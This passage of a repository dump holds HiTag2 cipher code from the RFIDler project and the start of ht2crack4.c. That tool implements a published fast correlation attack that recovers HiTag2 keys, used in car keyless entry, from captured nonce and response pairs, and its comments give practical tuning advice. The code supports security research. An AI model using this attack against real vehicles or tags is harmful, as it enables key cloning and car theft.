0x4ea276a6;\n    Hitag_State state;\n    uint32_t i;\n\n    // start timer\n    GetTimer_us(RESET);\n\n    // benchmark: initialise crypto & generate 32 bit authentication\n    // adding i stops gcc optimizer moving init function call out of loop\n    for (i = 0; i < count; i++) {\n        hitag2_init(&state, key, serial, initvec + i);\n        (void) hitag2_nstep(&state, 32);\n    }\n\n    return GetTimer_us(NO_RESET);\n}\n\n\nunsigned hitag2_verifytest()\n{\n    uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };\n    // key = 0x4ad292b272f2  after each byte has its bit order reversed\n    // serial = 0x96eac292    ditto\n    // initvec = 0x4ea276a6   ditto\n    const uint64_t key = rev64 (0x524B494D4E4FUL);\n    const uint32_t serial = rev32 (0x69574349);\n    const uint32_t initvec = rev32 (0x72456E65);\n    \n    uint32_t i;\n    Hitag_State state;\n\n    // initialise\n    hitag2_init(&state, key, serial, initvec);\n\n    for (i = 0; i < 16; i++) {\n        // get 8 bits of keystream\n        uint8_t x = (uint8_t) hitag2_nstep(&state, 8);\n        uint8_t y = expected[i];\n\n        DEBUG_PRINTF (\"%02X (%02X) \\n\", x, y);\n        if (x != y)\n            return 0;\n    }\n\n    return 1;\n}\n*/\n\n#ifdef UNIT_TEST\n\nint main(int argc, char* argv[])\n{\n    unsigned pass = hitag2_verifytest();\n\n    printf (\"Crypto Verify test = %s\\n\\n\", pass ? \"PASS\" : \"FAIL\");\n\n    if (pass) {\n        hitag2_benchtest(10000);\n    }\n\n    return 0;\n}\n\n#endif // UNIT_TEST\n"
  },
  {
    "path": "hitag2crack/crack4/hitagcrypto.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: unknown.\n// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>\n\n\n#ifndef HITAGCRYPTO_H\n#define\tHITAGCRYPTO_H\n\n#include <stdint.h>\n\n/*\n   Our model of Hitag 2 crypto uses 2 parallel shift registers:\n   a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.\n   b. 48 bit Linear Feedback Shift Register (LFSR).\n      A transform of initial register (a) value, which is then run in parallel.\n      Enables much faster calculation of the feedback values.\n\n   API:\n   void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,\n         uint32_t initvector);\n      Initialise state from 48 bit shared (secret) reader/tag key,\n      32 bit tag serial number and 32 bit initialisation vector from reader.\n\n   uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);\n      update shift register state and generate N cipher bits (N should be <= 32)\n */\n\n\ntypedef struct {\n    uint64_t shiftreg; // naive shift register, required for nonlinear fn input\n    uint64_t lfsr;     // fast lfsr, used to make software faster\n} Hitag_State;\n\nvoid hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);\n\nuint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);\n\nunsigned int hitag2_benchtest_gen32();\nunsigned int hitag2_benchtest(uint32_t count);\nunsigned hitag2_verifytest();\n\n#endif\t/* HITAGCRYPTO_H */\n\n"
  },
  {
    "path": "hitag2crack/crack4/ht2crack2utils.c",
    "content": "#include \"ht2crack2utils.h\"\n\n// writes a value into a buffer as a series of bytes\nvoid writebuf(unsigned char *buf, uint64_t val, unsigned int len)\n{\n    int i;\n    char c;\n\n    for (i=len-1; i>=0; i--)\n    {\n        c = val & 0xff;\n        buf[i] = c;\n        val = val >> 8;\n    }\n\n}\n\n\n/* simple hexdump for testing purposes */\nvoid shexdump(unsigned char *data, int data_len)\n{\n    int i;\n\n    if (!data || (data_len <= 0)) {\n        printf(\"shexdump: invalid parameters\\n\");\n        return;\n    }\n    \n    printf(\"Hexdump from %p:\\n\", data);\n\n    for (i=0; i<data_len; i++) {\n        if ((i % HEX_PER_ROW) == 0) {\n            printf(\"\\n0x%04x: \", i);\n        }\n        printf(\"%02x \", data[i]);\n    }\n    printf(\"\\n\\n\");\n}\n\n\n\nvoid printbin(unsigned char *c)\n{\n    int i, j;\n    unsigned char x;\n\n    if (!c) {\n        printf(\"printbin: invalid params\\n\");\n        return;\n    }\n\n    for (i=0; i<6; i++) {\n        x = c[i];\n        for (j=0; j<8; j++) {\n            printf(\"%d\", (x & 0x80) >> 7);\n            x = x << 1;\n        }\n    }\n    printf(\"\\n\");\n}\n\n\nvoid printbin2(uint64_t val, unsigned int size)\n{\n    int i;\n    uint64_t mask = 1;\n\n    mask = mask << (size - 1);\n\n    for (i=0; i<size; i++) {\n        if (val & mask) {\n            printf(\"1\");\n        } else {\n            printf(\"0\");\n        }\n        val = val << 1;\n    }\n}\n\n\nvoid printstate(Hitag_State *hstate)\n{\n    printf(\"shiftreg =\\t\");\n    printbin2(hstate->shiftreg, 48);\n    printf(\"\\n\");\n}\n\n\n\n\n// convert hex char to binary\nunsigned char hex2bin(unsigned char c)\n{\n    if ((c >= '0') && (c <= '9')) {\n        return (c - '0');\n    } else if ((c >= 'a') && (c <= 'f')) {\n        return (c - 'a' + 10);\n    } else if ((c >= 'A') && (c <= 'F')) {\n        return (c - 'A' + 10);\n    } else {\n        return 0;\n    }\n}\n\n// return a single bit from a value\nint bitn(uint64_t x, int bit)\n{\n    uint64_t bitmask = 1;\n\n    bitmask = bitmask << bit;\n\n    if (x & bitmask) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\n\n// the sub-function R that rollback depends upon\nint fnR(uint64_t x)\n{\n    // renumbered bits because my state is 0-47, not 1-48\n    return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^\n        bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^\n        bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47));\n}\n\n// the rollback function that lets us go backwards in time\nvoid rollback(Hitag_State *hstate, unsigned int steps)\n{\n    int i;\n\n    for (i=0; i<steps; i++) {\n        hstate->shiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg);\n    }\n\n}\n\n\n// the three filter sub-functions that feed fnf\nint fa(unsigned int i)\n{\n    return bitn(0x2C79, i);\n}\n\nint fb(unsigned int i)\n{\n    return bitn(0x6671, i);\n}\n\nint fc(unsigned int i)\n{\n    return bitn(0x7907287B, i);\n}\n\n// the filter function that generates a bit of output from the prng state\nint fnf(uint64_t s)\n{\n    unsigned int x1, x2, x3, x4, x5, x6;\n\n    x1 = (bitn(s,  2) << 0) | (bitn(s,  3) << 1) | (bitn(s,  5) << 2) | (bitn(s,  6) << 3);\n    x2 = (bitn(s,  8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3);\n    x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3);\n    x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3);\n    x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3);\n\n    x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4);\n\n    return fc(x6);\n}\n\n// builds the lfsr for the prng (quick calcs for hitag2_nstep())\nvoid buildlfsr(Hitag_State *hstate)\n{\n    uint64_t state = hstate->shiftreg;\n    uint64_t temp;\n\n    temp = state ^ (state >> 1);\n    hstate->lfsr = state ^ (state >>  6) ^ (state >> 16)\n              ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n              ^ (temp >>  2) ^ (temp >>  7) ^ (temp >> 22)\n              ^ (temp >> 42) ^ (temp >> 46);\n}\n\n\n\n"
  },
  {
    "path": "hitag2crack/crack4/ht2crack2utils.h",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <sys/mman.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"util.h\"\n\n#include \"hitagcrypto.h\"\n\n#define HEX_PER_ROW 16\n\n\n\nvoid writebuf(unsigned char *buf, uint64_t val, unsigned int len);\nvoid shexdump(unsigned char *data, int data_len);\nvoid printbin(unsigned char *c);\nvoid printbin2(uint64_t val, unsigned int size);\nvoid printstate(Hitag_State *hstate);\nunsigned char hex2bin(unsigned char c);\nint bitn(uint64_t x, int bit);\nint fnR(uint64_t x);\nvoid rollback(Hitag_State *hstate, unsigned int steps);\nint fa(unsigned int i);\nint fb(unsigned int i);\nint fc(unsigned int i);\nint fnf(uint64_t s);\nvoid buildlfsr(Hitag_State *hstate);\n"
  },
  {
    "path": "hitag2crack/crack4/ht2crack4.c",
    "content": "/* ht2crack4.c\n *\n * This is an implementation of the fast correlation attack in Section 4.4 of the\n * paper, Lock It and Still Lose It - On the (In)Security of Automotive Remote\n * Keyless Entry Systems by Garcia, Oswald, Kasper and Pavlides.\n * It is essentially an attack on the HiTag2 cryptosystem; it uses a small number\n * (between 4 and 32) of encrypted nonce and challenge response pairs for the same\n * UID to recover the key.\n *\n * Key recovery is performed by enumerating all 65536 of the first 16 bits of the\n * key and then, using the encrypted nonces and challenge response pairs, scoring\n * all of the guesses for how likely they are to be the first 16 bits of the actual\n * key.  The best of these guesses are then expanded by 1 bit and the process\n * iterates until all bits have been guessed.  The resulting guesses are then searched\n * for the one that is actually correct, testing against two pairs.\n *\n * The program reads in up to 32 encrypted nonce and challenge response pairs from\n * the supplied file; the number actually used is specified on the command line\n * (defaults to all those read in).  The default size of the table is 800000 but this\n * can be changed via the command line options.\n *\n * Using more encrypted nonce and challenge response pairs improves the chances of\n * recovering the key and doesn't significantly add to the time it takes.\n *\n * Using a larger table also improves the chances of recovering the key but\n * *significantly* increases the time it takes to run.\n *\n * Best recommendation is to use as many encrypted nonce and challenge response\n * pairs as you can, and start with a table size of about 500000, as this will take\n * around 45s to run.  If it fails, run it again with a table size of 1000000,\n * continuing to double the table size until it succeeds.  Alternatively, start with\n * a table size of about 3000000 and expect it to take around 4 mins to run, but\n * with a high likelihood of success.\n *\n * Setting table size to a large number (~32000000) will likely blow up the stack\n * during the recursive qsort().  This could be fixed by making the stack space\n * larger but really, you need a smaller table and more encrypted nonces.\n *\n * The scoring of the guesses is controversial, having been tweaked over and again\n * to find a measure that provides the best results.  Feel free to tweak it yourself\n * if you don't like it or want to try alternative metrics.\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <inttypes.h>\n#include <math.h>\n#include <pthread.h>\n#include \"ht2crack2utils.h\"\n\n/* you could have more than 32 traces, but you shouldn't really need\n * more than 16.  You can still win with 8 if you're lucky. */\n#define MAX_NONCES 32\n\n/* set this to the number of virtual cores you have */\n#define NUM_THREADS 8\n\n/* encrypted nonce and keystream storage\n * ks is ~enc_aR */\nstruct nonce {\n    uint64_t enc_nR;\n    uint64_t ks;\n};\n\n/* guess table entry - we store key guesses and do the maths to convert\n * to states in the code\n * score is used for sorting purposes\n * b0to31 is an array of the keystream generated from the init state\n * that is later XORed with the encrypted nonce and key guess\n */\nstruct guess {\n    uint64_t key;\n    double score;\n    uint64_t b0to31[MAX_NONCES];\n};\n\n/* thread_data is the data sent to the scoring threads */\nstruct thread_data {\n    unsigned int start;\n    unsigned int end;\n    unsigned int size;\n};\n\n/* guess table and encrypted nonce/keystream table */\nstruct guess *guesses = NULL;\nunsigned int num_guesses;\nstruct nonce nonces[MAX_NONCES];\nunsigned int num_nRaR;\nuint64_t uid;\nint maxtablesize = 800000;\nuint64_t supplied_testkey = 0;\n\nvoid usage()\n{\n    printf(\"ht2crack4 - K Sheldrake, based on the work of Garcia et al\\n\\n\");\n    printf(\"Cracks a HiTag2 key using a small number (4 to 16) of encrypted\\n\");\n    printf(\"nonce and challenge response pairs, using a fast correlation\\n\");\n    printf(\"approach.\\n\\n\");\n    printf(\" -u UID (required)\\n\");\n    printf(\" -n NONCEFILE (required)\\n\");\n    printf(\" -N number of nRaR pairs to use (defaults to 32)\\n\");\n    printf(\" -t TABLESIZE (defaults to 800000\\n\");\n    printf(\"Increasing the table size will slow it down but will be more\\n\");\n    printf(\"successful.\\n\");\n\n    exit(1);\n}\n\n\n/* macros to select bits from lfsr states - from RFIDler code */\n#define pickbits2_2(S, A, B)       ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )\n#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )\n#define pickbits1_1_2(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 0xC) )\n#define pickbits2_1_1(S, A, B, C)  ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \\\n                                   ((S >> (C - 3)) & 8) )\n#define pickbits1_2_1(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \\\n                                   ((S >> (C - 3)) & 8) )\n\n/* boolean tables for fns a, b and c - from RFIDler code */\nconst uint64_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001\nconst uint64_t ht2_function4b = 0x6671; // 0110 0110 0111 0001\nconst uint64_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011\n\n/* following arrays are the probabilities of getting a 1 from each function, given\n * a known least-sig pattern. first index is num bits in known part, second is the\n * bit pattern of the known part. */\ndouble pfna[][8] = {\n{0.50000, 0.50000, },\n{0.50000, 0.50000, 0.50000, 0.50000, },\n{0.50000, 0.00000, 0.50000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, },\n};\ndouble pfnb[][8] = {\n{0.62500, 0.37500, },\n{0.50000, 0.75000, 0.75000, 0.00000, },\n{0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 1.00000, 1.00000, 0.00000, },\n};\ndouble pfnc[][16] = {\n{0.50000, 0.50000, },\n{0.62500, 0.62500, 0.37500, 0.37500, },\n{0.75000, 0.50000, 0.25000, 0.75000, 0.50000, 0.75000, 0.50000, 0.00000, },\n{1.00000, 1.00000, 0.50000, 0.50000, 0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 0.00000, 0.00000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, },\n};\n\n\n/* hitag2_crypt works on the post-shifted form of the lfsr; this is the ref in rfidler code */\nstatic uint32_t hitag2_crypt(uint64_t s)\n{\n    uint32_t bitindex;\n\n    bitindex =  (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; \n    bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;\n    bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;\n    bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;\n    bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;\n\n    return (ht2_function5c >> bitindex) & 1;\n}\n\n/* ht2crypt works on the pre-shifted form of the lfsr; this is the ref in the paper */\nuint64_t ht2crypt(uint64_t s)\n{\n    uint64_t bitindex;\n\n    bitindex =  (ht2_function4a >> pickbits2_2 (s, 2, 5)) & 1;\n    bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 8, 12, 14)) & 0x02;\n    bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 17, 21, 23, 26)) & 0x04;\n    bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 28, 31, 33)) & 0x08;\n    bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 34, 43, 46)) & 0x10;\n\n    return (ht2_function5c >> bitindex) & 1;\n}\n\n\n/* fnL is the feedback function for the reference code */\nuint64_t fnL(uint64_t x)\n{\n    return (bitn(x, 0) ^ bitn(x, 2) ^ bitn(x, 3) ^ bitn(x, 6) ^ bitn(x, 7) ^ bitn(x, 8) ^\n        bitn(x, 16) ^ bitn(x, 22) ^ bitn(x, 23) ^ bitn(x, 26) ^ bitn(x, 30) ^ bitn(x, 41) ^\n        bitn(x, 42) ^ bitn(x, 43) ^ bitn(x, 46) ^ bitn(x, 47));\n}\n\n\n/* packed_size is an array that maps the number of confirmed bits in a state to\n * the number of relevant bits.\n * e.g. if there are 16 confirmed bits in a state, then packed_size[16] = 8 relevant bits.\n * this is for pre-shifted lfsr */\nunsigned int packed_size[] = { 0,  0,  0,  1,  2,  2,  3,  4,  4,  5,  5,  5,  5,  6,  6,  7,  8, \n                               8,  9,  9,  9,  9, 10, 10, 11, 11, 11, 12, 12, 13, 14, 14, 15,\n                              15, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 19, 19, 20, 20 };\n\n\n/* f20 is the same as hitag2_crypt except it works on the packed version\n * of the state where all 20 relevant bits are squashed together */\nuint64_t f20(uint64_t y)\n{\n    uint64_t bitindex;\n\n    bitindex =  (ht2_function4a >> (y & 0xf)) & 1; \n    bitindex |= ((ht2_function4b << 1) >> ((y >> 4) & 0xf)) & 0x02;\n    bitindex |= ((ht2_function4b << 2) >> ((y >> 8) & 0xf)) & 0x04;\n    bitindex |= ((ht2_function4b << 3) >> ((y >> 12) & 0xf)) & 0x08;\n    bitindex |= ((ht2_function4a << 4) >> ((y >> 16) & 0xf)) & 0x10;\n\n    return (ht2_function5c >> bitindex) & 1;\n}\n\n\n/* packstate packs the relevant bits from LFSR state into 20 bits for pre-shifted lfsr */\nuint64_t packstate(uint64_t s)\n{\n    uint64_t packed;\n\n    packed =  pickbits2_2 (s, 2, 5);\n    packed |= (pickbits1_1_2 (s, 8, 12, 14) << 4);\n    packed |= (pickbits1x4 (s, 17, 21, 23, 26) << 8);\n    packed |= (pickbits2_1_1 (s, 28, 31, 33) << 12);\n    packed |= (pickbits1_2_1(s, 34, 43, 46) << 16);\n\n    return packed;\n}\n\n\n/* create_guess_table mallocs the tables */\nvoid create_guess_table()\n{\n    guesses = (struct guess *)malloc(sizeof(struct guess) * maxtablesize);\n    if (!guesses) {\n        printf(\"cannot malloc guess table\\n\");\n        exit(1);\n    }\n}\n\n\n/* init the guess table by reading in the encrypted nR,aR values and\n * setting the first 2^16 key guesses */\nvoid init_guess_table(char *filename, char *uidstr)\n{\n    unsigned int i, j;\n    FILE *fp;\n    char *buf = NULL;\n    char *buft1 = NULL;\n    char *buft2 = NULL;\n    size_t lenbuf = 64;\n\n    if (!guesses) {\n        printf(\"guesses is NULL\\n\");\n        exit(1);\n    }\n\n    // read uid\n    if (!strncmp(uidstr, \"0x\", 2)) {\n        uid = rev32(hexreversetoulong(uidstr + 2));\n    } else {\n        uid = rev32(hexreversetoulong(uidstr));\n    }\n\n\n    // read encrypted nonces and challenge response values\n    fp = fopen(filename, \"r\");\n    if (!fp) {\n        printf(\"cannot open nRaR file\\n\");\n        exit(1);\n    }\n\n    num_nRaR = 0;\n    buf = (char *)malloc(lenbuf);\n    if (!buf) {\n        printf(\"cannot malloc buf\\n\");\n        exit(1);\n    }\n\n    while ((getline(&buf, &lenbuf, fp) > 0) && (num_nRaR < MAX_NONCES)) {\n        buft1 = strchr(buf, ' ');\n        if (!buft1) {\n            printf(\"invalid file input on line %d\\n\", num_nRaR + 1);\n            exit(1);\n        }\n        *buft1 = 0x00;\n        buft1++;\n        buft2 = strchr(buft1, '\\n');\n        if (!buft2) {\n            printf(\"no CR on line %d\\n\", num_nRaR + 1);\n            exit(1);\n        }\n        *buft2 = 0x00;\n        if (!strncmp(buf, \"0x\", 2)) {\n            nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf+2));\n            nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1+2)) ^ 0xffffffff;\n        } else {\n            nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf));\n            nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1)) ^ 0xffffffff;\n        }\n        num_nRaR++;\n    }\n\n    fclose(fp);\n    fp = NULL;\n\n    fprintf(stderr, \"Loaded %d nRaR pairs\\n\", num_nRaR);\n\n    // set key and copy in enc_nR and ks values \n    // set score to -1.0 to distinguish them from 0 scores\n    for (i=0; i<65536; i++) {\n        guesses[i].key = i;\n        guesses[i].score = -1.0;\n        for (j=0; j<num_nRaR; j++) {\n            guesses[i].b0to31[j] = 0;\n        }\n    }\n\n    num_guesses = 65536;\n}\n\n\n/* bit_score calculates the ratio of partial states that could generate\n * the resulting bit b to all possible states\n * size is the number of confirmed bits in the state */\ndouble bit_score(uint64_t s, uint64_t size, uint64_t b)\n{\n    uint64_t packed;\n    uint64_t chopped;\n    unsigned int n;\n    uint64_t b1;\n    double nibprob1, nibprob0, prob;\n    unsigned int fncinput;\n\n\n    // chop away any bits beyond size\n    chopped = s & ((1l << size) - 1);\n    // and pack the remaining bits\n    packed = packstate(chopped);\n\n    // calc size of packed version\n    n = packed_size[size];\n\n    b1 = b & 0x1;\n\n    // calc probability of getting b1\n\n    // start by calculating probability of getting a 1,\n    // then fix if b1==0 (subtract from 1)\n\n    if (n == 0) {\n        // catch the case where we have no relevant bits and return\n        // the default probability\n        return 0.5;\n    } else if (n < 4) {\n        // incomplete first nibble\n        // get probability of getting a 1 from first nibble\n        // and by subtraction from 1, prob of getting a 0\n        nibprob1 = pfna[n-1][packed];\n        nibprob0 = 1.0 - nibprob1;\n\n        // calc fnc prob as sum of probs of nib 1 producing a 1 and 0\n        prob = (nibprob0 * pfnc[0][0]) + (nibprob1 * pfnc[0][1]);\n    } else if (n < 20) {\n        // calculate the fnc input first, then we'll fix it\n        fncinput =  (ht2_function4a >> (packed & 0xf)) & 1; \n        fncinput |= ((ht2_function4b << 1) >> ((packed >> 4) & 0xf)) & 0x02;\n        fncinput |= ((ht2_function4b << 2) >> ((packed >> 8) & 0xf)) & 0x04;\n        fncinput |= ((ht2_function4b << 3) >> ((packed >> 12) & 0xf)) & 0x08;\n        fncinput |= ((ht2_function4a << 4) >> ((packed >> 16) & 0xf)) & 0x10;\n\n        // mask to keep the full nibble bits\n        fncinput = fncinput & ((1l << (n / 4)) - 1);\n\n        if ((n % 4) == 0) {\n            // only complete nibbles\n            prob = pfnc[(n / 4) - 1][fncinput];\n        } else {\n            // one nibble is incomplete\n            if (n <= 16) {\n                // it's in the fnb area\n                nibprob1 = pfnb[(n % 4) - 1][packed >> ((n / 4) * 4)];\n                nibprob0 = 1.0 - nibprob1;\n                prob = (nibprob0 * pfnc[n / 4][fncinput]) + (nibprob1 * pfnc[n / 4][fncinput | (1l << (n / 4))]);\n            } else {\n                // it's in the final fna\n                nibprob1 = pfna[(n % 4) - 1][packed >> 16];\n                nibprob0 = 1.0 - nibprob1;\n                prob = (nibprob0 * ((ht2_function5c >> fncinput) & 0x1)) + (nibprob1 * ((ht2_function5c >> (fncinput | 0x10)) & 0x1));\n            }\n        }\n    } else {\n        // n==20\n        prob = f20(packed);\n    }\n\n    if (b1) {\n        return prob;\n    } else {\n        return (1.0 - prob);\n    }\n}\n\n\n/* score is like bit_score but does multiple bit correlation.\n * bit_score and then shift and then repeat, adding all\n * bit_scores together until no bits remain. bit_scores are\n * multiplied by the number of relevant bits in the scored state\n * to give weight to more complete states. */\ndouble score(uint64_t s, unsigned int size, uint64_t ks, unsigned int kssize)\n{\n    double sc, sc2;\n\n    if ((size == 1) || (kssize == 1)) {\n        sc = bit_score(s, size, ks & 0x1);\n        return (sc * (packed_size[size] + 1));\n    } else {\n        // I've introduced a weighting for each score to\n        // give more significance to bigger windows.\n\n        sc = bit_score(s, size, ks & 0x1);\n\n        // if a bit_score returns a probability of 0 then this can't be a winner\n        if (sc == 0.0) {\n            return 0.0;\n        } else {\n\n            sc2 = score(s >> 1, size - 1, ks >> 1, kssize - 1);\n\n            // if score returns a probability of 0 then this can't be a winner\n            if (sc2 == 0.0) {\n                return 0.0;\n            } else {\n                return (sc * (packed_size[size] + 1)) + sc2;\n            }\n        }\n    